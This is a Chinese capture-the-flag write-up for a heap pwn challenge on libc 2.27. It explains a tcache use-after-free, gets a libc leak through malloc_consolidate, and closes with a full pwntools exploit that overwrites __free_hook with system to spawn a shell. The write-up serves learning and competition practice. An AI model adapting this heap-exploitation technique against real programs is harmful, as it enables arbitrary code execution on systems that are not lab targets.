背景
这题是国赛第一天的题目, 做出来的队伍挺多的. 漏洞利用点还挺有意思的, 之前没见过, 所以记录一下.
不过这题最迷的是 check
, 不知道咋写的, 明明运行没问题非说 服务异常 不过我觉得可能是平台的原因.... 做出来的两个题就没 patch
成功过.... 赛后看群里讨论有人直接把一个题目当错另外一个题目的 patch
上传都能利用成功, 这exp怕不是直接用了 libc
的漏洞???
程序分析
程序保护全开, 还给了个 libc
, 试了一下是libc 2.27
.
这儿提一下我测试
libc
版本的方法: 如果题目提供libc的话, 我会修改程序使用的ld 然后尝试用不同版本的ld
来加载提供的libc
, 从而可以得知libc的版本.
对于那种不提供libc
的题目可以先试一下 double free, 如果不报错的话一般就可以当错tcache
来做了. 不过也不排除使用的是libc 2.29
, 或者用mallopt(M_CHECK_ACTION, 0)
来保证程序仍然可以继续运行. 各位师傅如果有啥比较好的方法欢迎交流.
程序就提供两个功能, malloc
和 free
, 不过程序会限制 malloc
的 chunk
的大小最大为 0x80
漏洞分析
然后分析一下漏洞点
首先是程序会把 malloc
的返回值打印出来. 可以用这个来泄露地址.
然后就是程序在 free
之后不会讲指针清零, 存在 uaf 漏洞.
显然关键就在于怎么泄露libc地址了, 只要能泄露 libc
地址结合 tcache
的 uaf
漏洞就可以直接修改 __free_hook
为 system
地址了.
但是程序限制了 malloc
的 chunk
的大小最大为 0x80
, 所以所有 chunk
被 free
之后就会首先被放到 tcache
中, tcache
放满了也会放到 fastbin
中, 并没有办法泄露地址.
看到这一步如果有知道 house_of_orange
的小伙伴应该会想到能否通过 修改 top_chunk
的 size
来实现将 top_chunk
插入到 unsorted bin
中. 这样就可以在堆上找到 libc
的地址了.
我当时就是按照这个思路来做的. 不一样的是我发现 ptmalloc
并不会将 top_chunk
放到 unsorted bin
中(不知道是 libc 2.27
的原因还是因为我构造的问题), 不过却会调用 malloc_consolidate
. 这个函数会把 fastbin
中的 chunk
都合并, 然后插到 unsorted bin
里面, 然后堆上就有 libc
的地址了 :P
有了这个思路写 exp
就很快了.
exp
#coding:utf-8
from pwn import *
import time
import sys
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "pwn_27"
elf = ELF("./"+filename)
io = process("./" + filename, env={'LD_PRELOAD': "./libc.so.6:/usr/lib/x86_64-linux-gnu/libstdc++.so.6:/lib/x86_64-linux-gnu/libm.so.6:/lib/x86_64-linux-gnu/libgcc_s.so.1"})
libc = ELF("./libc.so.6")
def lg(name, val):
log.info(name+" : "+hex(val))
def choice(p, idx):
sla(p, "choice > ", str(idx))
def add(p, idx, size, content):
choice(p, 1)
sla(p, "index", str(idx))
sla(p, "size", str(size))
sa(p, "something", content)
ru(p, 'gift :')
addr = int(rl(p).strip('\n'), 16)
print(hex(addr))
return addr
def delete(p, idx):
choice(p, 2)
sla(p, "index", str(idx))
heap_addr = add(io, 0, 0x50, 'aaa\x80bbb')
add(io, 1, 0x48, 'aaa\x80bbb')
lg("heap_addr", heap_addr)
top_addr = heap_addr + 160
delete(io, 0)
delete(io, 0)
delete(io, 0)
add(io, 2, 0x50, p64(top_addr)*2)
add(io, 3, 0x50, p64(top_addr)*2)
add(io, 4, 0x50, p64(0xf1)*2)
for i in range(8):
delete(io, 1)
for i in range(8):
delete(io, 0)
# trigger malloc consolidate and leak libc
add(io, 5, 0x78, 'aaa\x80bbb')
add(io, 6, 0x78, 'aaa\x80bbb')
add(io, 7, 0x48, p64(top_addr)*2)
libc_addr = add(io, 8, 0x48, p64(top_addr)*2) - 245760
lg("libc_addr", libc.address)
libc.address = libc_addr -3865760
# modify __free_hook to system
free_hook = libc.symbols['__free_hook']
lg("free_hook", free_hook)
delete(io, 0)
delete(io, 0)
delete(io, 0)
add(io, 13, 0x50, p64(free_hook)*2)
add(io, 9, 0x50, p64(free_hook)*2)
add(io, 10, 0x50, p64(libc.symbols['system'])*2)
add(io, 14, 0x40, '/bin/sh\x00')
# gdb.attach(io)
# system("/bin/sh")
delete(io, 14)
io.interactive()
网友评论